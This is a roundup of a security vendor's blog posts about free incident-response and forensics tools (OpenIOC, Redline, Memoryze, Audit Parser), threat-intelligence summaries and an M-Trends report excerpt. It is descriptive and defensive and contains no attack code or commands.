Everyone likes something for free. And there is no better place to go to get free analysis, intelligence and tools than The Armory on M-Unition. During the past year, we've offered intelligence and analysis on new threat activity, sponsored open source projects and offered insight on free tools like Redline™, all of which has been highlighted on our blog.

In case you've missed it, here are some of our most popular posts:

Challenges in Malware and Intelligence Analysis: Similar Network Protocols, Different Backdoors and Threat Groups

In this post, Mandiant's Intel shares insight on threat activity. Specifically, two separate APT groups, using two different backdoors that had very similar networking protocols. Read more to learn what they found.

New Release: OWASP Broken Web Applications Project VM Version 1.1

Chuck Willis overviews version 1.1 of the Mandiant-sponsored OWASP Broken Web Applications Project Virtual Machine (VM). If you are not familiar with this open source project, it provides a freely downloadable VM containing more than 30 web applications with known or intentional security vulnerabilities. Many people use the VM for training or self-study to learn about web application security vulnerabilities, including how to find them, exploit them, and fix them. It can also be used for other purposes such as testing web application assessment tools and techniques or understanding evidence of web application attacks.

Back to Basics Series: OpenIOC

Will Gibb and a few of his colleagues at Mandiant embark on a series going back to the basics and looking deeper at OpenIOC - how we got where we are today, how to make and use IOCs, and the future of OpenIOC.

Check out related posts here: The History of OpenIOC, Back to the Basics, OpenIOC, IOC Writer and Other Free Tools.

Live from Black Hat 2013: Redline, Turbo Talk, and Arsenal

Sitting poolside at Black Hat USA 2013, Mandiant's Kristen Cooper chats with Ted Wilson about Redline in this latest podcast. Ted leads the development of Redline where he provides innovative investigative features and capabilities enabling both the seasoned investigator and those with considerably less experience to answer the question, "have you been compromised?"

Utilities Industry in the Cyber Targeting Scope

Our intel team is back again, this time with an eye on the utilities industry. As part of our incident response and managed defense work, Mandiant has observed Chinese APT groups exploiting the computer networks of U.S. utilities enterprises servicing or providing electric power to U.S. consumers, industry, and government. The most likely targets for data theft in this industry include smart grid technologies, water and waste management expertise, and negotiations information related to existing or pending deals involving Western utilities companies operating in China.

The History of OpenIOC

With the buzz in the security industry this year about sharing threat intelligence, it's easy to get caught up in the hype, and believe that proper, effective sharing of Indicators or Intelligence is something that can just be purchased along with goods or services from any security vendor.

It's really a much more complex problem than most make it out to be, and one that we've been working on for a while. A large part of our solution for managing Threat Indicators is using the OpenIOC standard format.

Since its founding, Mandiant sought to solve the problem of how to conduct leading-edge Incident Response (IR) - and how to scale that response to an entire enterprise. We created OpenIOC as an early step in tackling that problem. Mandiant released OpenIOC to the public as an Open Source project under the Apache 2 license in November of 2011, but OpenIOC had been used internally at Mandiant for several years prior.

IR is a discipline that usually requires highly trained professionals doing very resource-intensive work. Traditionally, these professionals would engage in time-intensive investigations on only a few hosts on a compromised network. Practical limitations on staffing, resources, time, and money would prevent investigations from covering anything other than a very small percentage of most enterprises. Responders would only be able to examine what they had direct access to, with their corresponding conclusions constrained by time and budget.

This level of investigation was almost never enough to give confidence on anything other than the hosts that had been examined - responders were unable to confirm whether other systems were still compromised, or whether the adversary still had footholds in other parts of the network.

Creating a standard way of recording Threat Intelligence into an Indicator was part of what allowed Mandiant to bring a new approach to IR, including the use of an automated solution, such as Mandiant for Intelligent Response® (MIR®). Mandiant's new strategy for IR enabled investigators, who previously could only get to a few hosts in an engagement, to now query entire enterprises in only slightly more time. Using OpenIOC as a standardized format, the Indicators of Compromise (IOCs) were recorded once, and then used to help gather the same information and conduct the same testing on every host across the enterprise via the automated solution. Incident Responders could now spend only a little more time, but cover an exponentially larger number of hosts during the course of an investigation.

Recording the IOCs in OpenIOC had other benefits as well. Indicators from one investigation could be shared with other investigations or organizations, and allow investigators to look for the exact same IOCs wherever they were, without having to worry about translation problems associated with ambiguous formats, such as lists or text documents. One investigator could create an IOC, and then share it with others, who could put that same IOC into their investigative system and look for the same evil as the first person, with little to no additional work.

The format grew organically over time. We always intended that the format be expandable and improvable. Instead of trying to map out every possible use case, Mandiant has updated the format and expanded the dictionaries of IOC Terms as new needs have arisen over time. The version we released in 2011 as "1.0" had already been revised and improved upon internally several times before its Open Source debut. We continue to update the standard as needed, allowing for features and requests that we have received over time from other users or interested parties.

Unlike traditional "signatures," OpenIOC provides the ability to use logical comparison of Indicators in an IOC, providing more flexibility and discrimination than simple lists of artifacts. An extensive library of Indicator Terms allows for a variety of information from hosts and networks to be recorded, and if something is not covered in the existing terms, additional terms may be added. Upcoming features like parameters will allow for further expansion of the standard, including customization for application or organization specific use cases.

Having the OpenIOC standard in place is tremendously powerful, providing benefits for scaling detection and investigation, both of which are key parts of managing the threat lifecycle. OpenIOC enables easy, standardized information sharing once implemented, without adding much to workloads or draining resources. And it is freely available as Open Source; so that others can benefit from some of the methods we have already found to work well in our practice. We hope that as we improve it, you can take even more advantage of what OpenIOC has to offer in your IR and Threat Intelligence workflows.

Next up in the Back to Basics: OpenIOC series, we'll talk about some of the basics of what OpenIOC is and what using it involves - and some of the upcoming things in the future of OpenIOC.

A Look Back at 2012: The Armory

 As we are mere hours away from celebrating 2013, we'd like to focus today on M-Unition's Armory channel. The Armory is the place to be if you want to be the first to find out about the latest releases, free tools and of course, our ever popular M-Trends report. The most popular posts in this category are listed below for your reading pleasure.

New Product Offering: Mandiant Cloud Alert

This past year we made several product announcements, but this one was especially rewarding. When you deal with cybersecurity risks on a daily basis you need tools to help you see activity in real time. At MIRcon ™ 2012, we announced our newest product offering: Mandiant Cloud Alert™. Mandiant Cloud Alert is a powerful tool, enabling organizations to identify malicious communication, audit existing security measures, monitor how the organization is trending over time, and track incidents in their network.

Unibody Memory Analysis - Introducing Memoryze™ for the Mac 1.0

Memoryze™ for the Mac 1.0, which brings memory imaging and analysis to the Mac, joins a growing list of freeware tools Mandiant provided this past year.

Memoryze for the Mac 1.0 brings many of the features of Memoryze™ to the Apple Macintosh platform. This new tool enables acquisition of memory images via the command-line or a simple GUI. In addition, Memoryze for the Mac 1.0 can perform offline analysis against memory images or live analysis on a running system.

Leveraging the Application Compatibility Cache in Forensic Investigations

Freeware tool, Shim Cache Parser™, was developed in the course of our incident response investigations, according to Mandiant's Andrew Davis.

During keyword searches of compromised systems, the Mandiant team discovered known malicious file names in the Windows Registry. Further research showed the cache data was generated by the Windows Application Compatibility Database. Along with these file names, other types of file metadata can be recovered such as file size, file last modified times, and last execution time, depending on the operating system version. This data can be very useful during an incident response. It helps identify which systems an attacker may have executed malware on and can also provide information about the time that it may have occurred.

Shim Cache Parser is the proof-of-concept tool we developed to extract this useful forensic evidence. You can download it here.

Mandiant Introduces Reverse-Proxy Open Source Tool

Mandiant's Sean Cunningham and Mark Thomas discuss the availability of a highly efficient reverse HTTP(S) proxy called simply 'RProxy™'. Mandiant released RProxy as an open sources tool to encourage the general community to participate in its evolution. You can download the tool here.

M-Trends: The One Threat Report You Need to Read

Each year Mandiant takes a look back at engagements we've responded to and puts together trends that help you fight back against targeted threats. On March 6th, we released our latest M-Trends report, An Evolving Threat, which revealed key insights, statistics and case studies illustrating how the tools and tactics of targeted attackers, including the Advanced Persistent Threat (APT), have evolved over the last year. We're currently working on the 2013 edition of M-Trends and plan to release it at RSA 2013.

New Open Source Tool: Audit Parser

Mandiant RedlineTM and IOC Finder TM collect and parse a huge body of evidence from a running system. In fact, they're based on the same agent software as our flagship Mandiant Intelligent Response® product. During the course of their "audits", these tools conduct comprehensive analysis of the file system (including hashing, time stamps, parsing of PE file structures, and digital signature checks), registry hives, processes in memory, event logs, active network connections,DNS cache contents,web browser history, system restore points, scheduled tasks, prefetch entries, persistence mechanisms, and much more.

Once this data is collected, Redline and IOCFinder currently allow you to do one of two things:

  • Review the contents of memory through a visual workflow in Redline
  • Search for Indicators of Compromise (IOCs) and generate a report of "hits"

But what if you want to analyze all of the raw evidence - not just memory or IOC hits - and do traditional forensics and timeline analysis? That's where Audit Parser steps in. It's the newest addition to Mandiant's portfolio of free software.

Audit Parser is simple:it takes the complex XML data produced by Redline or IOCFinder and converts it into human-readable tab-delimited text. You can then easily review the output in Excel, use a dedicated CSV file viewer (we're fans of "CSVed" and"CSVFileView"), import it into a database, or grep / manipulate it to your heart's content.

When paired with Redline's new start-up workflow to build a "collector" script, Audit Parser gives you a complete(and free)live response analysis toolkit. You can customize the Redline collector to gather as much or as little evidence as desired, run it on your target system, and then easily review all of the results following a quick conversion with Audit Parser.

The screen capture below shows Audit Parser's options - it's pretty straightforward to use:

Tabular data in Excel doesn't make for the most exciting screen shots, but we wanted to give you a glimpse into what the output looks like and the extent of evidence available for filtering, sorting, and analysis:

  • A filtered view of a file system audit, showing complete file metadata for all PE files within %SYSTEMROOT% created between 2011-2012 that are not digitally signed.

  • A portion of a prefetch audit, showing how the contents of .PF files are automatically parsed to provide last time executed, # of times executed, and original file path metadata.

  • A portion of a full registry dump, showing review of Active Setup Installed Components registry keys - the data includes all key value / data pairs and last modified dates.

  • A portion of the parsed Windows event logs, showing review of process auditing events including event log source, time generated, event ID, and full event message contents.

The default "comprehensive collector" script in Redline collects all of the artifacts listed above, as well as many more.

But wait - that's not all! Audit Parser also contains timeline generation functionality. Just specify a time & date range, and it will build a sorted timeline of all file system, registry, and event log events that occurred within that period. Future releases will add more audit types and customizability to this feature.

Audit Parser is written in Python and is distributed under the Apache License. It requires the lxml (http://lxml.de/) library. We're also distributing a Windows EXE built with Py2EXE for users that may not have a Python environment set up. You can download the tool and documentation on GitHub at: https://github.com/mandiant/AuditParser

If you have any questions or comments, feel free to leave them below, e-mail me (ryan [dot] kazanciyan [at] mandiant.com), or DM me on Twitter at @ryankaz42. I'll also be at Black Hat USA next week teaching Mandiant's Incident Response course where we'll be going through an in-depth live response analysis lab using Redline, Audit Parser, and other forensic tools. I was on a recent M-Unition podcast discussing the class and how it is completely revamped for 2012. You can listen to the podcast here. Hope to see you there!

M-Trends #1: Malware Only Tells Half the Story

When I joined Mandiant earlier this year, I was given the opportunity to help write our annual M-Trends report. This is the third year Mandiant has published the report, which is a summary of the trends we've observed in our investigations over the last twelve months.

I remember reading Mandiant's first M-Trends report when it came out in 2010 and recall being surprised that Mandiant didn't pull any punches. They talked about the advanced persistent threat or APT (they had been using that term for several years...long before it was considered a cool marketing, buzz word), and they were open about the origin of the attacks. The report summarized what I'd been seeing in industry, and offered useful insights for detection and response. Needless to say, I enjoyed the opportunity to work on the latest version.

In this year's report it details six trends we identified in 2011. We developed the six trends for the report very organically. That is, I spent quite a few days and nights reading all of the reports from our outstanding incident response team and wrote about what we saw-we didn't start with trends and then look for evidence to support them.

If you haven't picked up a copy of the report yet, you can do so here. I will be blogging on each of the six trends over the next two weeks; you can even view the videos we've developed for each trend as each blog post is published:

Malware Only Tells Half the Story.

Of the many systems compromised in each investigation, about half of them were never touched by attacker malware.

In so many cases, the intruders logged into systems and took data from them (or used them as a staging point for exfiltration), but didn't install tools. It is ironic that the very systems that hold the data targeted by an attacker are probably the least likely to have malware installed on them. While finding the malware used in an intrusion is important, it is impossible to understand the full scope of an intrusion if this is the focal point of the investigation. We illustrate actual examples of this in the graphical spread on pages 6-7 of the report.

What does this mean for victim organizations?

You could start by looking for malware, but don't end there! A smart incident response process will seek to fully understand the scope of compromise and find all impacted systems in the environment. This could mean finding the registry entries that identify lateral movement, traces of deleted .rar files in unallocated space, or use of a known compromised account. It turns out that Mandiant has a product that does all of this, but the footnote on page 5 is the only mention you'll see in the entire report (and even that was an afterthought).

Thoughts and questions about this trend or the M-Trends report?